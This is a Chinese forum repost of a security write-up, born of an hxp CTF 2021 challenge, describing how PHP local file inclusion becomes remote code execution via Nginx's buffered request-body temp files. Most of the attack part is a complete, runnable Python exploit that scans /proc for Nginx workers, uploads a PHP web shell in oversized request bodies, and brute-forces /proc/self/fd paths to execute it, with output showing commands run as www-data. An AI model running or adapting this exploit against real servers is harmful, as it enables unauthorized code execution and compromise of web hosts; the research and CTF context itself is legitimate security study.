Nginx协助的PHP LFI

2024-11-14 10:20:09 2 397 1
Origin:(https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)

From:https://bierbaumer.net/security/php-lfi-with-nginx-assistance/(发布于: 2021 年 12 月 26 日)

这篇文章介绍了一种利用本地文件包含(LFI)漏洞的新方法,该方法具有最大的通用性,只需假设 PHP 与 Nginx 一起在通用标准配置下运行即可。该技术是在开发hxp CTF 2021 的includer's revenge/counter challenges 时发现的。

PHP 本地文件夹杂 (LFI) 技术在安全研究领域有着悠久的历史,在 CTF 社区中也很流行。多年来已发布了许多技巧:

PHP_SESSION_UPLOAD_PROGRESS技巧 -https://blog.orange.tw/2018/10/(链接已失效)
使用包装器(如compress.zlib://)上传临时文件 -https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
临时文件/FindFirstFile技巧https://gynvael.coldwind.pl/?id=376
使用phpinfo()辅助 LFI -https://insomniasec.com/cdn-assets/LFI_With_PHPInfo_Assistance.pdf
过时的/proc/self/environ技巧 -https://www.exploit-db.com/papers/12886
过时的/var/log/apache2/*log(这是否曾经有效)?
等等。

目前大多数 LFI 开发技术都依赖于 PHP 能够创建某种形式的临时文件或会话文件。让我们看看下面的例子:(下载测试

PHP代码:
<?php include_once($_GET['file']);
FPM / PHP config:
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
Setup / hardening:
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
幸运的是,PHP 目前通常是通过 PHP-FPM 和 Nginx 部署的。Nginx 提供了一个容易被忽视的客户端正文缓冲功能,如果客户端(不限于POST)大于某个阈值,Nginx 就会写入临时文件。

如果 Nginx 以与 PHP 相同的用户身份运行(通常以 www-data 的身份运行),则无需以其他方式创建文件,就能利用该功能实现 LFI。

相关 Nginx 代码:
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}
可以看到,tempfile 在被 Nginx 打开后立即被取消链接。幸运的是,procfs 仍可用于通过竞争获取对已删除文件的引用:
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
注意:本例中不能直接包含/proc/34/fd/15 ,因为 PHP 的include函数会将路径解析为/var/lib/nginx/body/0000001368 (已删除),而文件系统中并不存在该路径。幸运的是,可以通过一些间接方法绕过这个小限制,例如 /proc/self/fd/34/.../.../.../34/fd/15,最终将执行已删除的/var/lib/nginx/body/0000001368文件的内容。

完整EXP:
#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes
r  = requests.get(URL, params={
    'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
    'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
    r  = requests.get(URL, params={
        'file': f'/proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx worker found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= cpus:
            break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
    print('[+] starting uploader')
    while not done:
        requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
    global done

    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
            r  = requests.get(URL, params={
                'file': f,
                'c': f'id'
            })
            if r.text:
                print(f'[!] {f}: {r.text}')
                done = True
                exit()

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()
输出:

$ ./pwn.py 127.0.0.1 1337
  • cpus: 2; pid_max: 32768
  • nginx worker found: 33
  • nginx worker found: 34
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] starting uploader
    [+] brute loop restarted: 33
    [+] brute loop restarted: 34
    [!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • 关于作者

    godblack487篇文章1194篇回复T00ls认证专家。

    一个高尚的人,一个纯粹的人,一个有道德的人,一个脱离了低级趣味的人,一个有益于人民的人。

    评论2次

    要评论?请先  登录  或  注册